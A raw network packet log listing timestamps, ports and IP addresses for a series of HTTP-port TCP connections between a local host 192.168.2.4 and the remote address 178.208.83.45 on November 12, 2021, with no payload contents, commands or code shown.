Nov 12, 2021 22:23:40.925818920 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925851107 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925879002 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925913095 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.925946951 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.925987959 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.926012993 CET	80	49887	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.926084995 CET	49887	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.970453978 CET	49888	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.993113041 CET	80	49888	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:40.993357897 CET	49888	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:40.994213104 CET	49888	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.016664028 CET	80	49888	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.020926952 CET	80	49888	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.021136999 CET	49888	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.125931025 CET	49888	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.127140999 CET	49889	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.149571896 CET	80	49888	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.149610996 CET	80	49889	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.149692059 CET	49888	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.149745941 CET	49889	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.150444984 CET	49889	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.172918081 CET	80	49889	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.175699949 CET	80	49889	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.175843000 CET	49889	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.281963110 CET	49889	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.295933008 CET	49890	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.304382086 CET	80	49889	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.304866076 CET	49889	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.318532944 CET	80	49890	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.320409060 CET	49890	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.321176052 CET	49890	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.343733072 CET	80	49890	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.346884012 CET	80	49890	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.347937107 CET	49890	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.382517099 CET	49890	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.384130955 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.405333996 CET	80	49890	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.405493021 CET	49890	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.406534910 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.406702042 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.408776045 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.408941031 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.409163952 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.409296036 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.431173086 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431205034 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431461096 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431476116 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431483984 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431523085 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431538105 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431569099 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431583881 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431591988 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431600094 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431610107 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.431612015 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.431667089 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.431687117 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.431709051 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.454025984 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454051018 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454063892 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454072952 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454087019 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454094887 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454108953 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454117060 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454143047 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454155922 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454175949 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454190016 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454196930 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454235077 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.454253912 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454268932 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454279900 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454293013 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454305887 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454320908 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.454380989 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.454423904 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.454463005 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.456072092 CET	49892	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.478046894 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478074074 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478085995 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478096962 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478104115 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478111982 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478123903 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478132010 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478140116 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478147030 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.478151083 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478159904 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478167057 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478174925 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478185892 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478193998 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478199005 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.478200912 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478214979 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478224039 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478235006 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478240013 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.478244066 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478257895 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478269100 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478277922 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478287935 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478296041 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478311062 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478317976 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478324890 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478336096 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478342056 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478348970 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478359938 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478367090 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478374958 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478384972 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478391886 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478399992 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.478410959 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.479151011 CET	80	49892	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.479298115 CET	49892	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.479825020 CET	49892	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.500705957 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500813007 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500828028 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500843048 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500869989 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500884056 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500896931 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500911951 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500929117 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500943899 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500960112 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500973940 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.500987053 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.502038956 CET	80	49892	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.503694057 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.503798962 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.510098934 CET	80	49892	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.510232925 CET	49892	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.627085924 CET	49892	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.627829075 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.630283117 CET	49893	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.649549007 CET	80	49892	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.649662018 CET	49892	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.650109053 CET	80	49891	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.650583029 CET	49891	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.652580976 CET	80	49893	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.654097080 CET	49893	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.654845953 CET	49893	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.677251101 CET	80	49893	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.679896116 CET	80	49893	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.680066109 CET	49893	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.797920942 CET	49893	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.800740004 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.820311069 CET	80	49893	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.820431948 CET	49893	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.824383020 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.824539900 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.825675011 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.847979069 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.851300001 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.851505995 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.907788992 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.907869101 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.908065081 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.908160925 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.931685925 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.931823969 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.932033062 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.932265043 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.932398081 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.932454109 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.932482004 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.932493925 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.932651997 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.932670116 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.955806017 CET	49895	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.957158089 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957190990 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957202911 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957212925 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957227945 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957241058 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957256079 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957269907 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957285881 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957298040 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.957333088 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.957389116 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.957421064 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.957459927 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.978395939 CET	80	49895	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.978535891 CET	49895	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.979407072 CET	49895	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.979711056 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.979851961 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.979867935 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.979887009 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.979902983 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.979918957 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.979954958 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.980006933 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:41.980017900 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980034113 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980048895 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980201006 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980216980 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980232000 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980401039 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980417967 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980573893 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980592966 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980607986 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980626106 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980640888 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:41.980655909 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.001827002 CET	80	49895	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.002141953 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.002199888 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.002321005 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.002332926 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.002439976 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.004497051 CET	80	49895	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.004630089 CET	49895	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.005182981 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.005635023 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.110233068 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.110505104 CET	49895	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.111615896 CET	49896	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.132685900 CET	80	49894	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.132775068 CET	49894	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.132832050 CET	80	49895	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.132920980 CET	49895	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.133896112 CET	80	49896	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.134022951 CET	49896	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.134850979 CET	49896	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.157206059 CET	80	49896	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.161371946 CET	80	49896	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.161528111 CET	49896	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.266546011 CET	49896	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.285028934 CET	49897	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.289043903 CET	80	49896	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.289156914 CET	49896	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.307743073 CET	80	49897	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.307935953 CET	49897	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.308563948 CET	49897	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.330954075 CET	80	49897	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.334965944 CET	80	49897	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.335068941 CET	49897	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.393676996 CET	49897	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.395289898 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.416264057 CET	80	49897	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.416399002 CET	49897	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.419542074 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.419755936 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.421041965 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.421276093 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.421971083 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.422259092 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.439851046 CET	49899	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.443695068 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.443754911 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444401979 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444434881 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444528103 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444567919 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444580078 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444597006 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444623947 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444631100 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444636106 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444643021 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444648027 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444655895 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444663048 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444693089 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444694996 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444722891 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444736004 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.444741011 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.444786072 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.462977886 CET	80	49899	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.463124990 CET	49899	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.464411020 CET	49899	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467204094 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467243910 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467272043 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467310905 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467318058 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467344999 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467370033 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467396975 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467411041 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467478037 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467504978 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467529058 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467535019 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467561960 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467575073 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467591047 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467618942 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467637062 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467668056 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467717886 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467719078 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467745066 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467772007 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.467787027 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467818022 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.467855930 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.468178988 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.468682051 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.468712091 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.468736887 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.468775034 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.468816996 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.487185955 CET	80	49899	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490170956 CET	80	49899	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490200996 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490212917 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490227938 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490243912 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490259886 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490276098 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490291119 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490350008 CET	49899	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.490413904 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.490498066 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.490521908 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490565062 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490591049 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490617990 CET	80	49898	178.208.83.45	192.168.2.4
